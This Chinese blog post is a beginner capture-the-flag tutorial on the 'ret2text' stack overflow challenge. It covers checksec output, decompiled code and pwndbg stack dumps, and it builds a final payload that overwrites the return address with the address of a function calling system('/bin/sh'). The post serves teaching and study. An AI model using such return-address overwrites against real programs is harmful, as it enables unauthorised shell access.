博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935
上一次我们介绍了函数调用栈,这一次我们就来看一道最简单的栈溢出题目:ret2text
先来看下运行题目输出什么
ROP$ ./ret2text
Have you heard of buffer overflow?
>aaaaaaa
It seems that you know nothing about it ......
第一步使用checksec
ROP$ checksec ret2text
[*] '/home/pwn/桌面/题目/ROP/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
然后直接使用IDA32
打开,F5
插件显示源码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h]
gets(buffer);
return 0;
}
很明显gets
函数会出现栈溢出
栈溢出的攻击原理就是,向缓冲区空间写入足够以及特定的字符,以覆盖该函数的上一个函数的栈帧,比如覆盖调用完下一条指令的地方,如下图
将输入的值覆盖return address
,则就会执行我们的特定的函数,我们再来看该程序的vulnerable
的栈部分,使用pwngdb
(后面我会单独开一次讲下gdb的教程)
pwndbg> b main
Breakpoint 1 at 0x804856b: file babystack.c, line 22.
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2text
Breakpoint 1, main () at babystack.c:22
22 babystack.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0xf7fb7808 (environ) —▸ 0xffffd22c —▸ 0xffffd3f5 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
EBX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
ECX 0xffffd190 ◂— 0x1
EDX 0xffffd1b4 ◂— 0x0
EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
EBP 0xffffd178 ◂— 0x0
ESP 0xffffd170 —▸ 0xffffd190 ◂— 0x1
EIP 0x804856b (main+26) —▸ 0xfff8838b ◂— 0xfff8838b
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x804856b <main+26> mov eax, dword ptr [ebx - 8] <0xf7fb7808>
0x8048571 <main+32> mov eax, dword ptr [eax]
0x8048573 <main+34> sub esp, 8
0x8048576 <main+37> push 0
0x8048578 <main+39> push eax
0x8048579 <main+40> call setbuf@plt <setbuf@plt>
0x804857e <main+45> add esp, 0x10
0x8048581 <main+48> mov eax, dword ptr [ebx - 4]
0x8048587 <main+54> mov eax, dword ptr [eax]
0x8048589 <main+56> sub esp, 8
0x804858c <main+59> push 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd170 —▸ 0xffffd190 ◂— 0x1
01:0004│ 0xffffd174 ◂— 0x0
... ↓
03:000c│ 0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
04:0010│ 0xffffd180 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
06:0018│ 0xffffd188 ◂— 0x0
07:001c│ 0xffffd18c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 804856b main+26
f 1 f7de9ee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────
现在断在了main
函数处,我们知道漏洞在vulnerable
,所以步过到vulnerable
处(n)
pwndbg> n
Have you heard of buffer overflow?
25 in babystack.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────
*EAX 0x23
EBX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
*ECX 0xffffffff
*EDX 0xffffffff
EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
EBP 0xffffd178 ◂— 0x0
ESP 0xffffd170 —▸ 0xffffd190 ◂— 0x1
*EIP 0x80485a9 (main+88) —▸ 0xffff48e8 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
0x8048597 <main+70> sub esp, 0xc
0x804859a <main+73> lea eax, [ebx - 0x1998]
0x80485a0 <main+79> push eax
0x80485a1 <main+80> call puts@plt <puts@plt>
0x80485a6 <main+85> add esp, 0x10
► 0x80485a9 <main+88> call vulnerable <vulnerable>
0x80485ae <main+93> sub esp, 0xc
0x80485b1 <main+96> lea eax, [ebx - 0x1974]
0x80485b7 <main+102> push eax
0x80485b8 <main+103> call puts@plt <puts@plt>
0x80485bd <main+108> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd170 —▸ 0xffffd190 ◂— 0x1
01:0004│ 0xffffd174 ◂— 0x0
... ↓
03:000c│ 0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
04:0010│ 0xffffd180 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
06:0018│ 0xffffd188 ◂— 0x0
07:001c│ 0xffffd18c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────
► f 0 80485a9 main+88
f 1 f7de9ee5 __libc_start_main+245
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
然后步进(s),我们可以从IDA
中看到,第一行就是gets
,所以我们再次步过(n)就会停住
pwndbg> s
vulnerable () at babystack.c:12
12 in babystack.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────
*EAX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
EBX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
*EBP 0xffffd168 —▸ 0xffffd178 ◂— 0x0
*ESP 0xffffd150 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
*EIP 0x8048507 (vulnerable+17) ◂— sub esp, 0xc
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
► 0x8048507 <vulnerable+17> sub esp, 0xc
0x804850a <vulnerable+20> lea edx, [ebp - 0x10]
0x804850d <vulnerable+23> push edx
0x804850e <vulnerable+24> mov ebx, eax
0x8048510 <vulnerable+26> call gets@plt <gets@plt>
0x8048515 <vulnerable+31> add esp, 0x10
0x8048518 <vulnerable+34> mov eax, 0
0x804851d <vulnerable+39> mov ebx, dword ptr [ebp - 4]
0x8048520 <vulnerable+42> leave
0x8048521 <vulnerable+43> ret
0x8048522 <get_shell> push ebp
─────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd150 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
02:0008│ 0xffffd158 —▸ 0xffffd178 ◂— 0x0
03:000c│ 0xffffd15c —▸ 0x80485a6 (main+85) ◂— add esp, 0x10
04:0010│ 0xffffd160 —▸ 0x8048668 ◂— dec eax /* 'Have you heard of buffer overflow?' */
05:0014│ 0xffffd164 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd168 —▸ 0xffffd178 ◂— 0x0
07:001c│ 0xffffd16c —▸ 0x80485ae (main+93) ◂— sub esp, 0xc
───────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────
► f 0 8048507 vulnerable+17
f 1 80485ae main+93
f 2 f7de9ee5 __libc_start_main+245
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n
假装输入AAAAAAAA
,我们此时使用stack 24
看下栈中24字节
pwndbg> stack 24
00:0000│ esp 0xffffd150 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
02:0008│ eax 0xffffd158 ◂— 'AAAAAAAA'
... ↓
04:0010│ edx 0xffffd160 —▸ 0x8048600 (__libc_csu_init+32) ◂— dec dword ptr [ebp - 0xfb7d]
05:0014│ 0xffffd164 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd168 —▸ 0xffffd178 ◂— 0x0
07:001c│ 0xffffd16c —▸ 0x80485ae (main+93) ◂— sub esp, 0xc
08:0020│ 0xffffd170 —▸ 0xffffd190 ◂— 0x1
09:0024│ 0xffffd174 ◂— 0x0
... ↓
0b:002c│ 0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
0c:0030│ 0xffffd180 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
0e:0038│ 0xffffd188 ◂— 0x0
0f:003c│ 0xffffd18c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
10:0040│ 0xffffd190 ◂— 0x1
11:0044│ 0xffffd194 —▸ 0xffffd224 —▸ 0xffffd3d0 ◂— 0x6d6f682f ('/hom')
12:0048│ 0xffffd198 —▸ 0xffffd22c —▸ 0xffffd3f5 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
13:004c│ 0xffffd19c —▸ 0xffffd1b4 ◂— 0x0
14:0050│ 0xffffd1a0 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
15:0054│ 0xffffd1a4 ◂— 0x0
16:0058│ 0xffffd1a8 —▸ 0xffffd208 —▸ 0xffffd224 —▸ 0xffffd3d0 ◂— 0x6d6f682f ('/hom')
17:005c│ 0xffffd1ac ◂— 0x0
我们的目的是覆盖ebp
的上一行,也就是返回之后的下一行指令的位置,就是上面的07:001c
处,可以看到我们输入的AAAAAAAA
从02:0008
开始,所以就是得到下面结论
先输入20个A
,覆盖02:0008
-07:001c
,然后再输入4字节的特殊数据覆盖07:001c
-0024
(因为返回地址是32位,4字节),当函数返回时,就会执行我们的特定代码
同时在IDA
中,可以看到一个函数名叫get_shell
的函数
int get_shell()
{
system("/bin/sh");
return 0;
}
因此我们把这个函数的地址覆盖07:001c
开始,就达到目的啦,那怎么看这个函数的起始地址呢,当然是在IDA
中,地址为0x8048522
所以payload
为
payload = b'A'*20 + p32(0x8048522)
评论 (0)